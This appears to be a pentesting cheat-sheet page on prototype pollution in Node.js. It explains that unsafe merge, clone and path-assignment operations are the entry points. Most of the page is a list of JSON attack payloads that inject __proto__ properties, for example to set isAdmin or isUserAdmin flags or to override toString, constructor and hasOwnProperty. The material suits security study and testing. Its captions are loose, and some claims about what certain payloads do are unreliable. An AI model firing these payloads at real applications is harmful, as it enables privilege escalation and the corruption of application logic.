# Prototype Pollution
Affects Node.js
{% hint style="info" %} **Prototype pollution happens at some unsafe**** ****`merge`****,**** ****`clone`****,**** ****`extend`**** ****and**** ****`path assignment`**** ****operations on malicious**** ****`JSON`**** ****objects.**
* **This is exploitable only if any of the following three happens:**
* **`Object recursive merge`**
* **`Property definition by path`**
* **`Object clone`**
* Some of the most popular libraries being affected are **`lodash`** and **`Hoek`**
* **`Templates`** are a good target for prototype pollution.
{% endhint %}
Payloads
* The most straightforward example of prototype pollution involves injecting the **`__proto__`** property, which affects all objects that inherit from **`Object.prototype`****.**
{% code title="This example adds the isUserAdmin property to the prototype chain:" overflow="wrap" %}
```json
{
"__proto__": {
"isUserAdmin": true
}
}
```
{% endcode %}
{% code title="Also, you can directly manipulate the Object.prototype by modifying the **proto** property. This could be done in objects passed to vulnerable code:" overflow="wrap" %}
```json
{
"__proto__": {
"toString": "malicious code"
}
}
```
{% endcode %}
{% code title="If the application allows you to define properties via paths (e.g., obj.a.b):" overflow="wrap" %}
```json
{
"a.b.__proto__.isHacked": true
}
```
{% endcode %}
{% code title="The constructor property is part of the prototype chain for JavaScript objects:" overflow="wrap" %}
```json
{
"__proto__.constructor": "MaliciousFunction"
}
```
{% endcode %}
{% code title="The hasOwnProperty method is often used to check if an object has a property, but it can be overridden in the prototype:" overflow="wrap" %}
```json
{
"__proto__.hasOwnProperty": false
}
```
{% endcode %}
{% code title="If an attacker can manipulate built-in objects' prototypes (like Array.prototype or Function.prototype), they could affect the behavior of all instances of those types:" overflow="wrap" %}
```json
{
"__proto__.length": 1000
}
```
{% endcode %}
{% code title="If the application uses a templating engine and allows user input to be rendered without sanitization, an attacker might inject a prototype pollution payload directly via the template:" overflow="wrap" %}
```json
{
"__proto__": {
"isAdmin": true
}
}
```
{% endcode %}
{% code title="You can directly inject properties into the prototype of custom classes or objects:" overflow="wrap" %}
```json
{
"customObjectPrototype.isHacked": true
}
```
{% endcode %}